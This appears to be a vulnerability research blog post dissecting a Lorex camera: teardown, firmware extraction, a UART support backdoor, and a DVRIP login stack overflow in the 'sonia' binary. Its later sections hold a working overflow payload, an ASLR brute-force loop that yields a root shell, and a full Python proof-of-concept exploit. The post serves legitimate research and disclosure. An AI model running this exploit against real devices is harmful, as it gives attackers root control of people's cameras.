
-
Deep Dive into a Budget Chinese Camera for Pwn2Own
Note : This research was done in collaboration with Jimi Sebree.
Introduction
Lorex makes a cheap and seemingly popular Wifi camera that made it to the target list of Pwn2Own Ireland in October 2024. We bought a few and proceeded to take them apart to get a handle on their internals. This blog will document our reverse engineering journey and trials and tribulations with developing a working exploit against the device.
Disassembly
The device is pretty simple to get apart with only a single screw on the back of the device holding everything together. After removing that screw and the SD card, it is possible to pry the device apart. Four black screws hold the main circuit board in place. The black plastic trim at the front can be pried off revealing two more screws that can be removed.
Parts List
Wifi - REALTEK 8188FTV
Data Sheet: https://fcc.report/FCC-ID/2A3AKFTY8188FTV/5527406.pdf
Quad SPI Flash
The QUAD SPI flash contains the code that the proprietary SoC runs. We should be able to pull the firmware for the device directly from this chip using a reader.
It is a Winbond 25064jvs10 (3V 64M-BIT SERIAL FLASH MEMORY WITH DUAL, QUAD SPI).
SoC
The device uses a proprietary chinese SoC from Sigma Star, the Star SSC337 - SoC Camera Chip.
Possible pinout from internet research on similar chips:
Potentially Helpful Links:
https://wx.comake.online/doc/d8clf27cnes2-SSD20X/customer/development/reference/partitionfile.html
UART
We found an unpopulated connector. Using a logic analyzer it was determined that the connector was for Universal Asynchronous Receiver Transmitter (UART) communications This connection is typically used to display terminal output from the programs running on the device. In some cases, it may allow direct command line access.
After determining the buad rate to be 115200 through some trial and error, we can see from the output of the logic analyzer that it displays information about the boot process, and we can see they are using U-Boot, and that the operating system is likely custom Linux kernel.
Pin 1 (labeled on board) is RX. Pin2 is TX. Pin 3 is GND.
Reading SPI Flash Chip
We tried reading the SPI flash chip in circuit first, but applying power to the flash chip also powered up the SoC which caused interference while trying to read the chip.
After removing the chip completely we are able to successfully read it.
The endianness was set wrong in the software for reading the chip initially. I fixed that with dd:
Binwalk dump of firmware file:
Firmware Analysis
The device has a SquashFS read only filesystem for the base operating system image. It utilizes a read/write jffs2 filesystem for log files, configuration files, and sound files.
Most binaries listed on the file system are actually symlinks to a custom BusyBox build. There are traces of a previous telnetd and sshd binary, but those have been removed on this version.
From examining init scripts and binaries present on the system, we found that the Lorex is a rebranding for Dahau cameras, which have been exploited in the past: https://www.cisa.gov/news-events/alerts/2024/08/21/cisa-adds-four-known-exploited-vulnerabilities-catalog.
The main binary in charge of the operations of the camera is /usr/bin/sonia. Running checksec on the binary returns the following security parameters:
There is stack protection and address space layout randomization (ASLR) for libraries loaded with the binary, but the binary itself isn’t compiled to be a position independent executable (No PIE), so there isn’t any ASLR for the executable itself. The stack is protected with canaries, and is none-executable (NX).
Boot Process
As mentioned before, the system uses a custom U-Boot build for loading the firmware into memory and starting execution. We were able to gain access to the boot loader command line by pressing the “*” key during bootup. Many default uboot commands have been removed from this version, but we are able to configure some environmental variables that are checked by various init scripts on bootup, and some of them are even read by sonia.
The variables dh_keyboard and appauto are read by init scripts during boot and can be set prior to boot.
Excerpt from /etc/init.d/rcS:
if [ $APPAUTO == '1' ];then echo "appauto=1" #dh_keyboard位是1时将sonia的输出屏蔽掉 if [ $KEYBOARD = '1' ]; then /usr/bin/sonia $sonia_para 2>/dev/null 1>/dev/null else /usr/bin/sonia $sonia_para fi else echo "appauto=0" if [ $KEYBOARD == '1' ];then echo "keyboard = 1" while [ 1 ] do busybox sleep 60 done else echo "keyboard = 0" sh fi fi
By setting dh_keyboard to zero, we are able to see debugging output from sonia for example. If we set appauto to 0 and dh_keyboard to 1, we enter a secret mode, that appears to be a backdoor looking at UART:
Scanning the QR takes you to a support login that appears internal to Lorex:
The binary involved with the is /bin/dsh. We took a look at it, and it uses public key cryptography with parameters encoded into the URL sent to the authorization website for verifying access. If access is verified, you are allowed access to an actual root shell.
This would be helpful for debugging so we tried for a week performing a fault injection attack during the verification in hopes we would get lucky and the check would fall through and drop us into a shell. No had no luck with this, but used the same setup and automation later for brute forcing a shell using a stack overflow vulnerability.
Stack Overflow
As mentioned previously, a binary called “sonia” serves as the primary process for handling most of the device’s functionality. The process listens on TCP ports 80 and 35000 as well as UDP port 35000 and makes use of the DVIRP protocol. Sessions using this protocol are the primary drivers of management access to the device. The vulnerabilities detailed in this post deal with stack-based buffer overflows in the parsing of the username and password fields of the authentications routines.
Vulnerable Code
When creating a session for the DVRIP protocol, a simple handshake occurs. Once this handshake is completed and a valid session has been created, a variety of functionality opens up to the end-user, such as authentication. During the login process, the parsing routines for the username and password are vulnerable to a stack-based buffer overflow due to improper bounds checking when executing calls to memcpy().
From the disassembly/decompilation of the parsing routine, we can see that the username and password buffers are 0x80 (128) bytes in length.
delim1 = strstr(login_buf,"&&"); delim2 = strchr(login_buf,__c); if (delim1 == (char *)0x0) { return -1; } if (delim2 == (char *)0x0) { return -1; } if (delim2 < delim1) { return -1; } __haystack = delim1 + 2; memcpy(&username,login_buf,(int)delim1 - (int)login_buf);
Rather than copying based on the size of the parsed usernames and passwords, memory is copied based on the offset of “&&” within the user-supplied buffer. Thus, we are able to copy arbitrary values onto the stack and overwrite memory that is later used to return from the parsing routine. Registers R4-R9 as well as PC are set when function returns:
0038d02c 43 b0 add sp ,#0x10c 0038d02e bd e8 f0 pop.w {r4 ,r5 ,r6 ,r7 ,r8 ,r9 ,pc }
In order to overflow the PC register to obtain control of the process, our input payload simply needs to fill the entirety of the username or password buffer, add necessary padding to overwrite the registers (or set up any necessary ROP-gadgets), and then overwrite the PC register.
Example Payload
For the username, It takes 128 bytes to fill the username, padding of 128 bytes to account for the password field, 2 bytes of padding for the “&&” field separator, and 2 bytes of padding to account for appended null-bytes later in the routine.
baduser = "A" * 260 baduser += "BBBB" # r4 baduser += "CCCC" # r5 baduser += "DDDD" # r6 baduser += "EEEE" # r7 baduser += "FFFF" # r8 baduser += "GGGG" # r9 baduser += "XXXX" # ret
Crash Dump
The resulting crash dump of the payload above demonstrates control of the registers as detailed above:
TEXT=00010000-006282e0 DATA=00638cc0-006bfd2c BSS=006bfd2c-01c7f000 USER-STACK=be8b5e80 KERNEL-STACK=c2524800 PSR: 0x60000010 EPC: 0x58585858, at 0x58585858. LR : 0x0038d02b, at 0x0038d02b. SP : 0xb4c73c90 orig_r0: 0xffffffff ARM_ip: 0x00645060 ARM_fp: 0x00645000 ARM_r10: 0x0059b5a1 ARM_r9: 0x47474747 ARM_r8: 0x46464646 ARM_r7: 0x45454545 ARM_r6: 0x44444444 ARM_r5: 0x43434343 ARM_r4: 0x42424242 ARM_r3: 0x01c4e1a2 ARM_r2: 0x00000000 ARM_r1: 0xb4c73c6f ARM_r0 0x00000000
Impact
The above dump demonstrates complete control of the program counter and indicates arbitrary code execution as the root user is possible via this attack vector.
As “sonia” is compiled without ASLR, redirection to other routines within the binary is trivial. Our demonstration proof of concept simply redirects execution flow to a routine (located at offset 0x99b5e) that plays one of the device’s preset jingles. Many other routines exist that will reset the administrator password, wipe the device completely, create an interactable shell, change the status lights on the device, take snapshots, etc. By utilizing ROP gadgets or other exploitation techniques, it is possible to craft far more sophisticated exploits to take complete control of the device.
Additional Exploitation Info
While RCE is possible by abusing “sonia” functionality on its own, the process does use a number of shared libraries (such as libc) that are loaded at somewhat randomized addresses. If functionality from these libraries is desired or the lack of null byte usage within the payload is too restrictive, these shared libraries are loaded into the process at higher memory addresses.
While it may be possible to leak the addresses of these libraries, simple brute force has proven to be a reliable method of bypassing module address randomization due to the memory limitations of the device. Since only 12 bits are randomized due to ASLR, any attempt at access a shared library has a 1/4096 chance of an attack working via brute force, meaning on average it will require 2048 attempts before success.
Here is the device setup with automation to perform, monitor, and power cycle the device if needed:
Equipment:
- Logic Analyzer (monitors UART traffic, used to troubleshoot that attack was working properly)
- ChipWhisperer Husky (monitors UART traffic and used by automation to trigger our PoC)
- Sonoff Smart Plug (managed via home assistant)
Automation Code
## ATTACK LOOP ##
from IPython.display import clear_output
import time
attempt = 0
while True:
target.reset_comms()
target.baud = 115200
print("Starting attempt %d" % attempt)
print("Resetting target...")
play_power_cycle_sound()
reboot_lorex()
play_gentle_beep_sa1()
time.sleep(40)
`data = ''` `ts = time.time()` `print("Calling perform_exploit()")` `play_gentle_beep_sa()` `target.flush()` `data = target.read()` `run_exploit_on_linux_server()` `while (time.time() - ts) < 10:` `data += target.read()` `print("Checking results...")` `print("Data:")` `print(data)` `if("BusyBox" in data or "busybox" in data or "Busybox" in data):` `play_tada()` `print("Attack Successful")` `break` `else:` `print("Attack failed... Starting next attempt.")` `play_failure_sound()` `time.sleep(5)` `attempt += 1` `clear_output()`
Result:
A root shell obtained via the above automation setup that took 1533 attempts.
Sample memory layout of the sonia process running on the device itself:
cat /proc/645/maps: 00010000-00629000 r-xp 00000000 1f:04 261 /usr/bin/sonia 00638000-006c0000 rw-p 00618000 1f:04 261 /usr/bin/sonia 006c0000-00793000 rw-p 00000000 00:00 0 009a0000-00c54000 rw-p 00000000 00:00 0 [heap] aef8e000-aefa5000 rw-s 00000000 00:05 2930880 /dev/zero (deleted) aefa5000-aefbc000 rw-s 00000000 00:05 2930879 /dev/zero (deleted) aefbc000-aefbd000 ---p 00000000 00:00 0 < ... snip ... > aefcf000-af1ce000 rw-p 00000000 00:00 0 af1fc000-af222000 rw-s 00000000 00:05 947 /dev/zero (deleted) af224000-af225000 ---p 00000000 00:00 0 af225000-af22a000 rw-p 00000000 00:00 0 af22a000-af250000 rw-s 00000000 00:05 1519 /dev/zero (deleted) af250000-af25f000 rw-s 00000000 00:05 894 /dev/zero (deleted) af25f000-af26e000 rw-s 00000000 00:05 893 /dev/zero (deleted) af26e000-af27d000 rw-s 00000000 00:05 891 /dev/zero (deleted) af27d000-af43f000 rw-s 00000000 00:05 882 /dev/zero (deleted) af43f000-af440000 ---p 00000000 00:00 0 < ... snip ... > b0341000-b0540000 rw-p 00000000 00:00 0 b0545000-b0572000 rw-s 00000000 00:05 888 /dev/zero (deleted) b0572000-b0638000 rw-p 00000000 00:00 0 b0639000-b0641000 rw-s 00000000 00:05 892 /dev/zero (deleted) b0641000-b0642000 ---p 00000000 00:00 0 < ... snip ... > b5a8c000-b5c8b000 rw-p 00000000 00:00 0 b5c8b000-b5c9d000 rw-s 00000000 00:05 131076 /SYSV19318745 (deleted) b5c9d000-b5caf000 rw-s 00000000 00:05 98307 /SYSV19318742 (deleted) b5caf000-b5cc1000 rw-s 00000000 00:05 32769 /SYSV19318741 (deleted) b5cc1000-b5cc2000 ---p 00000000 00:00 0 < ... snip ... > b655d000-b675c000 rw-p 00000000 00:00 0 b675c000-b677c000 rw-s 21d20000 00:06 364 /dev/DH_binderSR b677c000-b677d000 ---p 00000000 00:00 0 < ... snip ... > b6b7d000-b6d7c000 rw-p 00000000 00:00 0 b6d7c000-b6d8c000 rw-s 00000000 00:05 0 /SYSV020d01d8 (deleted) b6d8c000-b6da3000 r-xp 00000000 1f:04 308 /lib/libgcc_s.so.1 b6da3000-b6db2000 ---p 00000000 00:00 0 b6db2000-b6db3000 r--p 00016000 1f:04 308 /lib/libgcc_s.so.1 b6db3000-b6db4000 rw-p 00017000 1f:04 308 /lib/libgcc_s.so.1 b6db4000-b6e0b000 r-xp 00000000 1f:04 307 /lib/libuClibc-1.0.31.so b6e0b000-b6e1a000 ---p 00000000 00:00 0 b6e1a000-b6e1b000 r--p 00056000 1f:04 307 /lib/libuClibc-1.0.31.so b6e1b000-b6e1c000 rw-p 00057000 1f:04 307 /lib/libuClibc-1.0.31.so b6e1c000-b6e32000 rw-p 00000000 00:00 0 b6e32000-b6e45000 r-xp 00000000 1f:04 286 /usr/lib/libz.so.1 b6e45000-b6e4c000 ---p 00000000 00:00 0 b6e4c000-b6e4d000 rw-p 00012000 1f:04 286 /usr/lib/libz.so.1 b6e4d000-b6e51000 r-xp 00000000 1f:04 285 /usr/lib/libzzip.so b6e51000-b6e60000 ---p 00000000 00:00 0 b6e60000-b6e61000 r--p 00003000 1f:04 285 /usr/lib/libzzip.so b6e61000-b6e62000 rw-p 00004000 1f:04 285 /usr/lib/libzzip.so b6e62000-b6ef8000 r-xp 00000000 1f:04 322 /lib/libstdc++.so.6.0.20 b6ef8000-b6f07000 ---p 00000000 00:00 0 b6f07000-b6f0b000 r--p 00095000 1f:04 322 /lib/libstdc++.so.6.0.20 b6f0b000-b6f0d000 rw-p 00099000 1f:04 322 /lib/libstdc++.so.6.0.20 b6f0d000-b6f14000 rw-p 00000000 00:00 0 b6f14000-b6f19000 r-xp 00000000 1f:04 323 /lib/ld-uClibc-1.0.31.so b6f1a000-b6f1b000 rw-s 00000000 00:05 890 /dev/zero (deleted) b6f1b000-b6f1c000 rw-s 00000000 00:05 889 /dev/zero (deleted) \x1B[0;32;32m[libaudio] Not enough data in playbuffer\xA3\xBBuse empty buffer for process b6f1c000-b6f1d000 rw-s 00000000 00:05 887 /dev/zero (deleted) b6f1e000-b6f1f000 rw-s 00000000 00:05 163845 /SYSV82904795 (deleted) b6f1f000-b6f20000 rw-s 00000000 00:05 65538 /SYSV19318951 (deleted) b6f20000-b6f24000 rw-s 21d04000 00:06 364 /dev/DH_binderSR b6f24000-b6f26000 rwxs 23fc4000 00:06 10 /dev/mem b6f26000-b6f28000 rw-p 00000000 00:00 0 b6f28000-b6f29000 r--p 00004000 1f:04 323 /lib/ld-uClibc-1.0.31.so b6f29000-b6f2a000 rw-p 00005000 1f:04 323 /lib/ld-uClibc-1.0.31.so beea7000-beec8000 rw-p 00000000 00:00 0 [stack] bef12000-bef13000 r-xp 00000000 00:00 0 [sigpage] bef13000-bef14000 r--p 00000000 00:00 0 [vvar] bef14000-bef15000 r-xp 00000000 00:00 0 [vdso] ffff0000-ffff1000 r-xp 00000000 00:00 0 [vectors]
Proof of Concept Exploit
Environment Setup:
python3 -m venv venv . ./venv/bin/activate pip install pwn
Execution:
python lorex.py <target ip address>
Example Output:
# python lorex.py 10.0.0.164 Sending packet: ----- b'a00100000000000000000000000000000000000000000000050201010000a1aa' ----- Received packet: ----- b'b000007837000000010e01000000000000000000010000000600f90000000002' b'5265616c6d3a4c6f67696e20746f20303830314542334446454236323732310d0a52616e646f6d3a31353235323631343036640d0a0d0a' ----- Sending packet: ----- b'a0053333a3000000111111111111111111111111111111112222222222222222' b'262641414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414141414143434343434343434343434343434343434343434343434323c2122626' ----- (camera will play a jingle here :) )
Minimal Proof of Concept Script:
#!/usr/bin/env python import argparse import binascii import socket from builtins import bytes from time import sleep from pwn import * # Default DVRIP port for Lorex cameras PORT = 35000 class LorexClient(): def __init__(self, ip, port, user, password): self.ip = ip self.port = port self.user = user self.password = password self.socket = None def connect(self): """Setup socket for TCP connection""" self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.settimeout(1) try: self.socket.connect((self.ip, self.port)) return True except socket.error: return False def close(self): """Kill existing connection""" self.socket.close() def send_packet(self, header, msg): """Pack and send a packet in the correct format along with a valid header""" print("Sending packet:") print("-----") print(binascii.b2a_hex(header)) if msg: print(binascii.b2a_hex(msg)) #.decode("latin-1")) print("-----\n") if msg is None: msg = b"" self.socket.send(header + msg) data_header = b'' try: data_header += self.socket.recv(32) except TimeoutError: return None if data_header[0:2] == p16(0xb000) or data_header[0:2] == p16(0xb001): data_len = u32(data_header[4:8]) data_format = "plain" else: data_len = u32(data_header[4:8]) data_format = "json" data = self.socket.recv(data_len) print("Received packet:") print("-----") print(binascii.b2a_hex(data_header)) print(binascii.b2a_hex(data)) #print(data.decode("latin-1")) print("-----\n") return data_header, data def exploit(self): packet = p32(0xa0010000, endian='big') + (p8(0x00) * 20) + p64(0x050201010000a1aa, endian='big') _, auth_info = self.send_packet(packet, None) auth_info = auth_info.decode('latin-1') realm = auth_info[auth_info.find("Login to"):auth_info.find("\r\n")] seed = auth_info[auth_info.rfind(":"):auth_info.find("\r\n")-2] h = self.user + b"&&" h += self.password header = p32(0xa0053333, endian='big') + p32(len(h)) + (p8(0x11) * 16) + p64(0x2222222222222222, endian='big') msg = h print("Sending packet:") print("-----") print(binascii.b2a_hex(header)) if msg: print(binascii.b2a_hex(msg)) print("-----\n") if msg is None: msg = b"" self.socket.send(header + msg) return if __name__ == "__main__": # Get target host argparser = argparse.ArgumentParser() argparser.add_argument('target') args = argparser.parse_args() # Jingle Routine baduser = b"&&" + b"A"*132 + b"C" * 24 + b"\x23\xc2\x12" client = LorexClient(args.target, PORT, baduser, b"") while not client.connect(): pass sleep(1) client.exploit()